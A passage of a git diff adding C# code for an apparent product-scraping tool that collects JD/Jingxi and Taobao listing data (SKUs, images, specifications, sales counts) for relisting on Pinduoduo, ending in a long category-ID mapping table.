=> + { + sku.Categorys.Add(s.ParseToInt()); + }); + } + //sku.Props + string saleProp = AllBase.BaseRegex.GetMatchRegexString(ref skuInfoCBC, "saleProp\":\\{(.+?)\\}").Replace("\"", ""); //"1:颜色,2:款式,3:" + new List(saleProp.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)).ForEach(s => + { + int propId = s.Split(':')[0].ParseToInt(); + string propName = s.Split(':')[1]; + if (!string.IsNullOrEmpty(propName)) + { + sku.Props.Add(new PropBase() { id = propId, name = propName, sort = propId }); + } + }); + //sku.Props.Values + string salePropSeq = AllBase.BaseRegex.GetMatchRegexString(ref skuInfoCBC, "salePropSeq\":\\{(.+?)\\}"); //"1":["蓝色奥特曼(可变形可投影)","蜘蛛侠(可变形可投影)","钢铁侠(可变形可投影)","蝙蝠侠(可变形可投影)","绿巨人(可变形可投影)","美国队长(可变形可投影)","冰雪奇缘(可变形可投影)","变形金刚(可变形可投影)","小款变形手表(宝石蓝)没投影","小款变形手表(火焰红)没投影","小款变形手表(没投影)","小款变形手表(绿巨人)"],"2":["均码"],"3":[""] + var mm = AllBase.BaseRegex.GetMatchRegex(salePropSeq, "\"(\\d+)\":\\[(.*?)\\]"); + var imgMatchList = new List(); + try + { + var imgMatchStr = BaseRegex.GetMatchRegexString(ref skuInfoCBC, "\"pingou\":([\\s\\S]+?)\"daojia\""); + var imgMatch = BaseRegex.GetMatchRegex(ref imgMatchStr, "\"imagePath\":\"([\\s\\S]*?)\"select\""); + imgMatchList.AddRange(imgMatch.Cast().Select(m => m.ToString()).ToList()); + } + catch + { + } + foreach (Match v in mm) + { + int v1 = v.Groups[1].Value.ParseToInt(); + var p = sku.Props.Find(o => o.id == v1); + if (p == null) + continue; + string[] v2 = v.Groups[2].Value.Replace("\"", "").Replace("[", "").Replace("]", "").Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < v2.Length; i++) + { + var pv = new PropValueBase() { id = i.ToString(), value = v2[i], name = v2[i] }; + + var image = imgMatchList.FirstOrDefault(im => im.Contains("\"" + pv.name + "\"")); + image = BaseRegex.GetStringJson(ref image, "imagePath"); + //m.360buyimg.com/mobilecms/s800x800_jfs/t1/120893/26/6529/254083/5f03e2bdE25f7e708/3539b3d189167c32.jpg!q80.dpg + if (!string.IsNullOrEmpty(image)) + { + image = "http://m.360buyimg.com/mobilecms/s800x800_" + image; + pv.image = image; + pv.image_from_url = image; + } + p.Values.Add(pv); + //pr.value = v; + //pr.name = mm[j].Groups[2].Value; + //pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + //pr.image = image; + //pr.image_from_url = image; + + } + } + //去除sku.Props.Values为空的Props + sku.Props = sku.Props.Where(o => o.Values.Count > 0).ToList(); + sku.SkuNameExt = this.GetSkuNameEx(sku); + //缓存html + if (JingXiCollect.UseServerCache) + { + if (!canUse) + //ServerTemp.Set(5, skuid.ToString(), html); + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new Work.SaveServerParm() { SaveType = 5, ProuctId = skuid.ToString(), SaveHtml = html }); + } + return sku; + } + private string GetSkuNameEx(SkuInfo sku) + { + SkuInfo.SkuInfoDetail skuDetail = sku.SkuDetailList.Find(o => o.skuId == sku.SkuId); + if (skuDetail == null) + skuDetail = sku.SkuDetailList.Find(o => sku.SkuName.EndsWith(o.Prop1 + " " + o.Prop2 + " " + o.Prop3)); + if (skuDetail == null) + skuDetail = sku.SkuDetailList.Find(o => sku.SkuName.EndsWith(o.Prop1 + " " + o.Prop2)); + Dictionary dicSkuName = new Dictionary(); + //方法:根据skuDetail.Prop1模糊查找类别 + foreach (var prop in sku.Props) + { + foreach (var v1 in prop.Values) + { + if (v1.name == skuDetail.Prop1 || v1.name == skuDetail.Prop2 || v1.name == skuDetail.Prop3) + { + dicSkuName.Add(prop.name, v1.name); + break;//退出当前循环 + } + } + } + //另一种方式(备用):根据skuDetail.Prop1的索引,来获取:Prop1为sku.Props[0].name,Prop1为sku.Props[1].name。这种方式应该可行。暂时用第一种方法 + List listSkuNameExt = new List(); + foreach (var kv in dicSkuName) + listSkuNameExt.Add(kv.Key + ":" + kv.Value); + + return string.Join(";", listSkuNameExt); + } + private KeyValueBase GetProvince_City(string address) + { + string strProvince = ""; + string strCity = ""; + string[] provice = + "上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(','); + string[] city = + "上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太原,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,成都,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(','); + if (!string.IsNullOrEmpty(address)) + { + for (int i = 0; i < provice.Length; i++) + { + if (address.Contains(provice[i])) + { + strProvince = provice[i]; + if (address.Length < 4) //直辖市 获取到的长度小于4 直辖市的省和市都是一样的 + strCity = city[i]; + else + strCity = address.Replace(provice[i], ""); //现改成实际地址 + break; + } + } + } + return new KeyValueBase(strCity, strProvince); + } + private List GetSpecification(long skuid) + { + #region + // https://wq.jd.com/commodity/itembranch/getspecification?callback=commParamCallBackA&skuid=68021431223&t=0.3812012434945995 + + // commParamCallBackA({ + // "errcode":"0", + // "msg":"", + // "data":{ "productSkuId":68021431223,"wReadMe":"","propGroups":[{"groupName":"主体","atts":[{"attName":"充电时间","categoryGroupAttId":"109107","attRemark":"","vals":["60-120分钟"],"sort":6}],"sort":1}]} + //}) + #endregion + List list = new List(); + //list.Add(new KeyValueBase("商品编号", skuid.ToString())); + string url = "https://wq.jd.com/commodity/itembranch/getspecification?callback=commParamCallBackA&skuid=" + skuid; + string html = AllBase.GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent); + var atts = BaseRegex.GetMatchRegex(ref html, "\\{\\\"attName\\\".*?\\}"); + foreach (Match m in atts) + { + string att = m.Value; + string attName = BaseRegex.GetStringJson(ref att, "attName"); + string vals = BaseRegex.GetMatchRegexString(ref att, "\"vals\":\\[\"(.+?)\"\\]"); + list.Add(new KeyValueBase(attName, vals)); + } + return list; + + } + private List GetDetailImageList(long skuid, string description) + { + #region + // + // { "content":"



    ","plus":false,"isMobileDesc":true,"msg":"","success":"1"} + #endregion + + List list = new List(); + string url = "https://wqsitem.jd.com/detail/" + skuid + "_" + description + "_normal.html"; + string html = AllBase.GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent); + html = AllBase.BaseRegex.Relpace(html, "
  • [\\w\\W]*
  • ", "");//过滤掉推荐的商品 + //详情图-格式1 + Dictionary> dic = new Dictionary>(); + MatchCollection atts1 = BaseRegex.GetMatchRegex(ref html, "image:url\\((.+?)\\)"); + MatchCollection atts = atts1; + if (atts.Count == 0) + { + //详情图-格式2 + MatchCollection atts2 = BaseRegex.GetMatchRegex(ref html, "src=[\"|'](.+?)[\"|']"); + if (atts2.Count > atts.Count) + atts = atts2; + } + if (atts.Count == 0) + { + //详情图-格式2 + MatchCollection atts2 = BaseRegex.GetMatchRegex(ref html, "src=[\\\\\"|'](.+?)[\\\\\"|']"); + if (atts2.Count > atts.Count) + atts = atts2; + } + + foreach (Match m in atts) + { + list.Add(m.Groups[1].Value.Trim('\'').Trim('"').Replace("http://img", "//img")); + } + + return list; + } + private string GetDetailImageImgHtml(long skuid) + { + #region + // + // { "content":"



    ","plus":false,"isMobileDesc":true,"msg":"","success":"1"} + #endregion + List list = new List(); + string url = "https://wqsitem.jd.com/detail/" + skuid + "_d14399653725_normal.html"; + string html = AllBase.GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent); + return html; + } + /// + /// 获取拼团的销量 + /// + /// + /// + private decimal GetPinTuanCount(long skuid) + { + string url = "https://wq.jd.com/pingou_api/GetBatTuanNum?callback=pgSearchNumCbB&skuids=" + skuid; + string responseString = AllBase.GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent); + decimal saleNum = 0; + decimal.TryParse(AllBase.BaseRegex.GetStringJson(ref responseString, "tuancount"), out saleNum); + return saleNum; + } + /// + /// 获取单购的销量 + /// + /// + /// + private decimal GetGoodCount(long skuid) + { + string url = "https://wq.jd.com/commodity/comment/getcommentlist?callback=skuJDEvalA&version=v2&sceneval=2&score=0&sku=" + skuid + "&sorttype=5"; + string refere = "https://item.m.jd.com/product/2490601.html?sku=" + skuid; + string html = Work.GetPostTaobaoHtml.GetUrl(url, refere, false, ""); + decimal saleNum = 0; + decimal.TryParse(AllBase.BaseRegex.GetStringJson(ref html, "GoodCount"), out saleNum); + return saleNum; + } + private class SkuInfo + { + /// + /// 商品编号 + /// + public long SkuId; + /// + /// 商品名称 + /// + public string SkuName; + /// + /// 简短的商品名称,不带SKU标题 + /// + public string PName; + /// + /// 商品名称扩展,格式为:颜色:黑色;尺寸:20寸 + /// 用途:拼多多上货用,为了迎合平多多现有的代码风格,不然要写很多代码; + /// 填写该字段,拼多多上传代码风格就不需要改变 + /// + public string SkuNameExt; + /// + /// 主图第一张轮播图 + /// + public string Image; + /// + /// 品牌ID + /// + public string BrandId; + /// + /// 品牌 + /// + public string BrandName; + /// + /// 轮播图 + /// + public List ImageList = new List(); + /// + /// Sku明细 + /// + public List SkuDetailList = new List(); + /// + /// 拼购价格 + /// + public decimal PinGouPrice; + /// + /// 原价 + /// + public decimal BeforePrice; + /// + /// 售价:如果是拼购的,则是拼购价格;如果没有拼购,则是原价 + /// + public decimal SellPrice; + /// + /// 库存状态ID + /// + public int StockState; + /// + /// 库存状态名称 + /// + public string StockStateName; + /// + /// 运费 + /// + public decimal ExpressPrice; + /// + /// 店铺ID + /// + public long ShopId; + /// + /// 店铺名称 + /// + public string ShopName; + /// + /// 发货人 + /// + public string Deliver; + /// + /// 发货地址 + /// + public string DeliverAddress; + /// + /// 主视频ID + /// + public string MainVideoId; + /// + /// 销量 + /// + public decimal SaleNum; + /// + /// 省份 + /// + public string Province; + /// + /// 城市 + /// + public string City; + /// + /// 类目集合 + /// + public List Categorys = new List(); + /// + /// 详情属性集合 + /// + public List Prop = new List(); + /// + /// Sku属性集合 + /// + public List Props = new List(); + /// + /// 详情图集合 + /// + public List DetailImageList = new List(); + /// + /// 详情图集合的html + /// + public string DetailImageListHTML = ""; + /// + /// 库存数量 + /// + public int StockNumber; + /// + /// 支持7天无理由退货(使用后不支持) + /// + public string PromiseMark; + /// + /// 发货时间 + /// + //public string LogisticsTime; + + + /// + /// 采集的结果,空值代表OK + /// + public string msg = ""; + public class SkuInfoDetail + { + public long skuId; + public string Prop1 = ""; + public string Prop2 = ""; + public string Prop3 = ""; + } + } + /// + /// 单位换算:将万等转换为具体的数字, + /// 如52万=520000等 + /// + /// + /// + public static decimal Unit_Conversion(string data) + { + decimal result = 0; + string s1 = AllBase.BaseRegex.GetMatchRegexString(ref data, "(\\d*[.\\d*]*)"); + if (decimal.TryParse(s1, out result)) + { + if (data.Contains("万")) + result *= 10000; + if (data.Contains("亿")) + result *= 100000000; + } + return result; + } + public enum GoodsStatusEnum + { + /// + /// 无货 + /// + NotExist, + /// + /// 有货 + /// + Exist + + } + } + public static class ConvertExtension + { + /// + /// 删除特殊字 + /// + /// + /// + /// + public static string RemoveSpecialChar(this string text, params string[] characters) + { + //{ ":", ":", "/", "\\", "\"", "?", "✅", "◆", "‼️" } + string str = text; + List specialCharacters = new List(characters); + specialCharacters.ForEach(c => { str = str.Replace(c, ""); }); + + return str; + } + } + + public class JingXiCollectDemo + { + public static void Get(string skuID) + { + ProductCollectBase pb = new ProductCollectBase(); + pb.from_id = skuID.ParseToLong(); ; + JingXiCollect tm = new JingXiCollect(pb); + tm.Get(); + var p = tm.Product; + + } + + public static void GetTaobao(string skuID) + { + ProductCollectBase pb = new ProductCollectBase(); + pb.from_url = "https://item.taobao.com/item.htm?id=" + skuID; + pb.from_id = long.Parse(skuID); + TaobaoMobileCollect tm = new TaobaoMobileCollect(pb); + tm.Pinduoduo = true; + tm.Name = "淘宝"; + tm.Get(); + var p = tm.Product; + return; + + } + + } +} diff --git a/Work/CollectClass/LoadCloudData.cs b/Work/CollectClass/LoadCloudData.cs new file mode 100644 index 0000000..c5f9f34 --- /dev/null +++ b/Work/CollectClass/LoadCloudData.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; + +namespace Work.CollectClass +{ + public class LoadCloudData + { + /// + /// 过滤标题词 + /// + public static List NoTitleWord = new List(); + /// + /// 过来品牌词 + /// + public static List NoBrand = new List(); + /// + /// 加载云词 + /// + public void Get() + { + string url = BaseClass.LoginApiUrl + "taobao/筛选词.txt"; + string path = "temp/notitleword.tjm"; + string html; + if (FileBase.Exists(path)) + html = FileBase.ReadAllText(path, Encoding.Default); + else + { + html = GetHtml.Utf8(url); + FileBase.WriteAllText(path, html, Encoding.Default); + } + if (string.IsNullOrEmpty(html)) + { + LogSave.Add("链接云数据库失败"); + return; + } + string[] l = html.Split('\n'); + for (int i = 0; i < l.Length; i++) + { + string s = l[i].Trim(); + if (string.IsNullOrEmpty(s) || s.Length < 2) + continue; + string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)"); + if (!string.IsNullOrEmpty(num) && num.Length == s.Length) + continue; + NoTitleWord.Add(s); + } + + url = BaseClass.LoginApiUrl + "taobao/品牌词.txt"; + path = "temp/nobrand.tjm"; + if (FileBase.Exists(path)) + html = FileBase.ReadAllText(path, Encoding.Default); + else + { + html = GetHtml.Utf8(url); + FileBase.WriteAllText(path, html, Encoding.Default); + } + if (string.IsNullOrEmpty(html)) + { + LogSave.Add("链接云数据库失败"); + return; + } + l = html.Split('\n'); + for (int i = 0; i < l.Length; i++) + { + string s = l[i].Trim(); + if (string.IsNullOrEmpty(s) || s.Length < 2) + continue; + string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)"); + if (!string.IsNullOrEmpty(num) && num.Length == s.Length) + continue; + NoBrand.Add(s); + } + + } + } +} diff --git a/Work/CollectClass/OrderControl.cs b/Work/CollectClass/OrderControl.cs new file mode 100644 index 0000000..bc233ac --- /dev/null +++ b/Work/CollectClass/OrderControl.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.Api; +using System; + +namespace Work.CollectClass +{ +} diff --git a/Work/CollectClass/PermissionBLL.cs b/Work/CollectClass/PermissionBLL.cs new file mode 100644 index 0000000..f25cde9 --- /dev/null +++ b/Work/CollectClass/PermissionBLL.cs @@ -0,0 +1,164 @@ +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Net; +using System.Text; +using System.Threading.Tasks; +using AllBase; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; + +namespace Work.CollectClass +{ + public class PermissionBLL + { + public async Task>> GetModuleList() + { + //http://new.qixiaoke.com/?obj=pinbaobao/nav_group_list&cid=18816&uid=103234&key=936746136&time=1593587666&code=09EC59F354BE1341654C3C7E218931B9 + string url = BaseClass.BuildObjString("nav_group_list"); + string data = UserLogin.GetSignaturex(); + string html = await PostAsync(new HttpParam { Url = url, PostData = data }); + //html = HtmlHelper.UnicodeDecode(html); + html=GetHtml.UrlDecode(html); + TData> obj = new TData>(); + if (html.Equals("null")) + { + obj.Tag = 0; + return obj; + } + JObject jObj = JObject.Parse(html); + if (jObj["list"] != null) + { + obj.Result = new List(); + foreach (var item in jObj["list"]) + { + obj.Result.Add(new KeyValueBase(item["module"].ParseToString(), item["enable"].ParseToString())); + } + obj.Tag = 1; + } + return obj; + + + } + + public static async Task PostAsync(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Post"; + request.ServicePoint.Expect100Continue = false; + byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData); + request.ContentLength = postDataByte.Length; + request.AllowAutoRedirect = false; + using (Stream requestStream = await request.GetRequestStreamAsync()) + { + requestStream.Write(postDataByte, 0, postDataByte.Length); + } + return await ReadResponseAsync(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch + { + + return string.Empty; + } + } + public static HttpWebRequest GetHttpWebRequest(HttpParam param) + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(param.Url); + if (param.Proxy != null) + { + request.Proxy = param.Proxy; + } + + if (!string.IsNullOrEmpty(param.UserAgent)) + { + request.UserAgent = param.UserAgent; + } + else + { + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + } + if (!string.IsNullOrEmpty(param.Accept)) + { + request.Accept = param.Accept; + } + else + { + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + } + if (string.IsNullOrEmpty(param.AcceptLanguage)) + { + request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8"); + } + else + { + request.Headers.Add("Accept-Language", param.AcceptLanguage); + } + if (!string.IsNullOrEmpty(param.ContentType)) + { + request.ContentType = param.ContentType; + } + else + { + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + } + if (!string.IsNullOrEmpty(param.Referer)) + { + request.Referer = param.Referer; + } + request.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(param.Cookie)) + { + request.Headers.Add("Cookie", param.Cookie); + } + if (param.Header != null) + { + foreach (KeyValuePair header in param.Header) + { + request.Headers.Add(header.Key, header.Value); + } + } + if (param.Timeout > 0) + { + request.Timeout = param.Timeout; + } + else + { + request.Timeout = 60 * 1000; + } + return request; + } + public static async Task ReadResponseAsync(HttpParam httpParam, HttpWebResponse response) + { + using (Stream stream = DecompressStream(response)) + { + using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding)) + { + return await streamReader.ReadToEndAsync(); + } + } + } + public static Stream DecompressStream(HttpWebResponse response) + { + Stream responseStream = response.GetResponseStream(); + Stream stream = null; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + stream = new GZipStream(responseStream, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + stream = new DeflateStream(responseStream, CompressionMode.Decompress); + } + if (stream == null) + { + return responseStream; + } + else + { + return stream; + } + } + } +} diff --git a/Work/CollectClass/PinduoduoCatList.cs b/Work/CollectClass/PinduoduoCatList.cs new file mode 100644 index 0000000..256467b --- /dev/null +++ b/Work/CollectClass/PinduoduoCatList.cs @@ -0,0 +1,38149 @@ +using System.Collections.Generic; +using AllBase; +using Work.Api; + +namespace Work.CollectClass +{ + public class PinduoduoCatList + { + public static List MainCats = new List(); + public static Dictionary CatBaks = new Dictionary(); + public static Dictionary CatIds = new Dictionary(); + public static Dictionary ReplaceCat3 = new Dictionary(); + public static Dictionary PriceSpaceCatId = new Dictionary(); + public static Dictionary NewPriceSpaceCatId = new Dictionary(); + public static Dictionary NewPriceSpaceCatIdx = new Dictionary(); + public void Get() + { + string[] li = Cat3Replace.Split('\n'); + for (int i = 0; i < li.Length; i++) + { + string[] l = li[i].Trim().Split('\t'); + if (!ReplaceCat3.ContainsKey(int.Parse(l[0]))) + ReplaceCat3.Add(int.Parse(l[0]), int.Parse(l[1])); + } + li = NewPriceSpace.Split('\n'); + for (int i = 0; i < li.Length; i++) + { + string[] l = li[i].Replace(" ", " ").Replace(" ", " ").Replace(" ", "\t").Trim().Split('\t'); + if (!NewPriceSpaceCatId.ContainsKey(int.Parse(l[0]))) + NewPriceSpaceCatId.Add(int.Parse(l[0]), decimal.Parse(l[1])); + } + li = NewPriceSpacex.Split('\n'); + for (int i = 0; i < li.Length; i++) + { + string[] l = li[i].Replace(" ", " ").Replace(" ", " ").Replace(" ", "\t").Trim().Split('\t'); + if (string.IsNullOrEmpty(l[0])) + continue; + if (!NewPriceSpaceCatIdx.ContainsKey(int.Parse(l[0]))) + NewPriceSpaceCatIdx.Add(int.Parse(l[0]), decimal.Parse(l[1])); + } + li = PriceSpace.Split('\n'); + for (int i = 0; i < li.Length; i++) + { + string[] l = li[i].Replace(" ", " ").Replace(" ", " ").Replace(" ", "\t").Trim().Split('\t'); + if (!PriceSpaceCatId.ContainsKey(int.Parse(l[0]))) + PriceSpaceCatId.Add(int.Parse(l[0]), decimal.Parse(l[1])); + } + string file = "temp/cat.tjm"; + string url = BaseClass.LoginApiUrl + "cat1.html"; + string html, md5 = Initialization.GetMD5(file); + if (FileBase.Exists(file) && md5 == "A425F4A9E931BF36273B22FED8F3E0B1") + { + html = FileBase.ReadAllText(file); + } + else + { + html = GetHtml.Utf8(url); + if (!string.IsNullOrEmpty(html) && html.Length > 1000) + { + FileBase.WriteAllText(file, html); + } + } + List cat = JsonHelper.DeserializeJsonToObject>(html); + for (int i = 0; i < cat.Count; i++) + { + CatIds.Add(cat[i].id, cat[i]); + } + for (int i = 0; i < FromTitleToCat.MainCat.Count; i++) + { + MainCatBase m = new MainCatBase(); + m.Name = FromTitleToCat.MainCat[i].Value2; + m.Id = int.Parse(FromTitleToCat.MainCat[i].Key); + m.Cats = cat.FindAll(cb => cb.parent_id == 0 && cb.main_cat_id == m.Id); + for (int j = 0; j < m.Cats.Count; j++) + { + m.Cats[j].Cats = cat.FindAll(cb => cb.parent_id == m.Cats[j].id); + for (int k = 0; k < m.Cats[j].Cats.Count; k++) + { + m.Cats[j].Cats[k].Cats = cat.FindAll(cb => cb.parent_id == m.Cats[j].Cats[k].id); + for (int l = 0; l < m.Cats[j].Cats[k].Cats.Count; l++) + { + m.Cats[j].Cats[k].Cats[l].Cats = cat.FindAll(cb => cb.parent_id == m.Cats[j].Cats[k].Cats[l].id); + } + } + } + MainCats.Add(m); + } + string[] lix = CatStr.Split('\n'); + for (int i = 0; i < lix.Length; i++) + { + string[] l = lix[i].Trim().Split(','); + if (l.Length >= 5) + { + CatBase catbase = new CatBase(); + catbase.id = int.Parse(l[0]); + catbase.cat1 = int.Parse(l[1]); + catbase.cat2 = int.Parse(l[2]); + catbase.cat3 = int.Parse(l[3]); + catbase.cat4 = int.Parse(l[4]); + CatBaks.Add(catbase.id, catbase); + } + } + } + /// + /// 获得新ID + /// + /// + /// + public static int GetNewCat3(int cat3) + { + if (ReplaceCat3.ContainsKey(cat3)) + cat3 = ReplaceCat3[cat3]; + if (ReplaceCat3.ContainsKey(cat3)) + cat3 = ReplaceCat3[cat3]; + if (ReplaceCat3.ContainsKey(cat3)) + cat3 = ReplaceCat3[cat3]; + return cat3; + } + + public static long GetDianYuanId(int liang) + { + long result = 0; + switch (liang) + { + case 1200: + result = 1775571365; + break; + case 3000: + result = 1640437027; + break; + case 5000: + result = 1640430238; + break; + case 6000: + result = 1640433172; + break; + case 7000: + result = 1640418874; + break; + case 8000: + result = 1640427549; + break; + case 10000: + result = 1640429403; + break; + case 12000: + result = 1640434163; + break; + case 14000: + result = 4144557090; + break; + case 15000: + result = 1640436056; + break; + case 20000: + result = 1640431246; + break; + case 25000: + result = 1640722150; + break; + case 30000: + result = 1640421839; + break; + case 40000: + result = 3045659640; + break; + case 50000: + result = 2615091754; + break; + case 60000: + result = 3313766272; + break; + } + return result; + } + + + /// + /// 获取价格区间 + /// + /// + /// + public static decimal GetPriceSpace(int catId) + { + if (NewPriceSpaceCatIdx.ContainsKey(catId)) + return NewPriceSpaceCatIdx[catId]; + if (NewPriceSpaceCatId.ContainsKey(catId)) + return NewPriceSpaceCatId[catId]; + if (PriceSpaceCatId.ContainsKey(catId)) + return PriceSpaceCatId[catId]; + return 2; + } + + + #region 类目 + public string Cat3Replace = @"32 18652 +33 18671 +34 18749 +180 18648 +181 18647 +182 18747 +185 18669 +16249 18774 +17241 19505 +14932 19311 +8032 20114 +7897 7896 +3909 10452 +16281 18785 +19511 17192 +19509 17193 +19505 17241 +19538 17248 +19520 17214 +19497 17205 +1652 9818 +13059 14690 +1428 18736 +1429 18710 +1430 18686 +1431 18646 +1438 18634 +1439 18606 +1440 18603 +1441 18603 +1442 18603 +1443 18723 +1447 18723 +1448 18726 +1449 18715 +1450 18715 +1451 18730 +1452 18720 +1453 18724 +1454 18744 +1456 18626 +1457 18626 +1467 18496 +1468 18490 +1469 18497 +1470 18499 +1471 18567 +1472 18508 +1473 18565 +1474 18507 +1475 18558 +1476 18563 +1477 18556 +1479 18569 +1480 18560 +1481 18560 +1482 18560 +1483 18560 +1484 18560 +1485 18560 +1489 18572 +1894 18746 +1895 18746 +2115 18725 +3715 18644 +3716 18645 +3717 18644 +3718 18648 +3719 18746 +3720 18524 +3721 18746 +3722 18737 +3723 18663 +3724 18670 +3725 18671 +3727 18640 +3728 18641 +3729 18642 +3730 18639 +3731 18639 +3733 18677 +3734 18650 +3735 18650 +3736 18650 +3738 18654 +3739 18655 +3740 18656 +3741 18657 +3742 18658 +3743 18658 +3744 18659 +3745 18660 +3747 18676 +3748 18690 +3749 18696 +3750 18683 +3751 18682 +3752 18689 +3753 18679 +3754 18681 +3755 18673 +3756 18698 +3757 18687 +3758 18675 +3759 18674 +3760 18693 +3761 18700 +3762 18700 +3763 18677 +3764 18680 +3765 18699 +3766 18686 +3767 18684 +3768 18701 +3769 18685 +3770 18674 +3771 18699 +3772 18527 +3774 18754 +3775 18560 +3779 18494 +3780 18495 +3781 18492 +3782 18493 +3783 18504 +3784 18562 +3785 18535 +3786 18531 +3787 18515 +3788 18506 +3789 18528 +3790 18516 +3791 18517 +3792 18600 +3793 18523 +3794 18524 +3795 18510 +3796 18600 +3797 18525 +3798 18552 +3799 18539 +3800 18541 +3801 18550 +3802 18537 +3803 18546 +3804 18549 +3805 18540 +3806 18547 +3807 18538 +3808 18543 +3809 18545 +3810 18542 +3811 18551 +3812 18552 +3813 18554 +3851 18512 +4484 18491 +4507 18530 +4508 18702 +4509 18703 +4510 18704 +4511 18705 +4512 18706 +4513 18688 +4514 18697 +4515 18694 +4516 18695 +4517 18691 +4518 18692 +4519 18678 +4522 18713 +4523 18714 +4524 18716 +4525 18717 +4526 18719 +4527 18722 +4528 18723 +4529 18727 +4530 18733 +4531 18739 +4532 18740 +4533 18741 +4534 18742 +4535 18743 +4536 18744 +4537 18704 +4538 18752 +4539 18753 +4540 18754 +5273 18718 +1472 18508 +1675 9410 +1441 18629 +7308 7307 +11819 7824 +12568 7824 +1695 9316 +1885 10558 +358 17435 +1136 17551 +1137 17551 +1138 17551 +1139 17551 +1140 17664 +1141 17441 +1142 17442 +1143 17443 +1144 17444 +1145 17445 +1146 17667 +1147 17667 +1148 17448 +1149 17451 +1150 17449 +1151 17450 +1152 17452 +1153 17452 +1154 17454 +1155 17453 +1156 17436 +1157 17436 +1158 17438 +1159 17428 +1160 17429 +1161 17430 +1162 17729 +1163 17432 +1164 17433 +1165 17434 +307 16753 +355 16743 +385 16732 +389 16728 +390 16728 +393 16780 +396 16793 +403 18076 +405 16707 +407 16719 +408 16555 +409 16554 +410 16553 +424 423 +438 435 +426 17235 +428 16560 +429 16561 +430 16562 +433 16637 +436 16634 +440 17230 +443 16586 +445 16584 +447 16582 +450 16582 +454 16631 +456 16617 +457 16612 +458 16621 +459 16614 +461 16658 +462 16661 +463 16664 +464 16665 +2192 16679 +2193 16680 +2194 16683 +2195 16715 +2196 16685 +2197 16678 +2198 17119 +2199 16688 +2200 16689 +2201 16690 +2202 16691 +2203 16722 +2204 16694 +2205 16693 +2206 16697 +2207 16698 +2208 16700 +2209 16701 +2210 16702 +2211 16724 +2212 16704 +2213 16705 +2232 16764 +2266 16558 +2267 16565 +2268 16563 +2269 16564 +2270 16566 +2271 16567 +2272 16768 +2273 16569 +2274 16570 +2275 16571 +2276 16574 +2277 16575 +2278 16577 +2279 16577 +2280 16578 +2281 16579 +2282 17229 +2283 17745 +2284 16573 +2285 17931 +2286 16718 +2287 16610 +2288 16602 +2289 16603 +2290 16604 +2291 16605 +2292 16622 +2293 16613 +2294 16615 +2295 16616 +2296 16618 +2297 16619 +2298 16620 +2299 16623 +2300 16624 +2301 16625 +2302 16627 +2303 16628 +2304 16629 +2305 16630 +2306 16636 +2307 16638 +2308 16858 +2309 16649 +2310 16641 +2311 16644 +2312 16646 +2313 16647 +2314 16650 +2315 16633 +2316 16648 +2317 16635 +2318 16643 +2319 16645 +2320 16640 +2321 16649 +2322 16652 +2323 16653 +2324 16654 +2325 16655 +2326 16656 +2327 16657 +2328 16659 +2329 16660 +2330 16662 +2331 16666 +2332 16667 +2333 16668 +2334 16669 +2335 16670 +2336 16671 +2337 16672 +2338 16673 +2339 16674 +2340 16675 +2341 16581 +2342 17235 +2343 16587 +2344 16589 +2345 16590 +2346 16599 +2347 16913 +2348 16601 +2349 16572 +2350 16557 +4611 16642 +490 16904 +492 16903 +495 16905 +498 16906 +501 16907 +504 16908 +507 16915 +509 16916 +514 16909 +524 16910 +535 16911 +536 16912 +537 16913 +538 16914 +539 16917 +540 16918 +541 16919 +542 16920 +543 16921 +544 16922 +545 16923 +546 16941 +547 16926 +548 16929 +549 16928 +550 16929 +551 16930 +552 16931 +553 16932 +554 16933 +555 16934 +556 16935 +557 16936 +558 16937 +559 16938 +560 16943 +561 16944 +562 16945 +563 16946 +564 16973 +565 16948 +566 16950 +567 16951 +568 16985 +569 16953 +570 16954 +571 16955 +572 16975 +573 16957 +574 16958 +575 16960 +576 16977 +577 16983 +578 16963 +579 16964 +580 16988 +581 16967 +582 16967 +583 16968 +584 16969 +585 16970 +586 16971 +587 18056 +588 18057 +589 18086 +590 18059 +591 18060 +592 18061 +593 18062 +594 18063 +595 18064 +596 18065 +597 18066 +598 18067 +599 16924 +600 18068 +601 18069 +602 18070 +603 18071 +604 18072 +605 18075 +606 18074 +607 18075 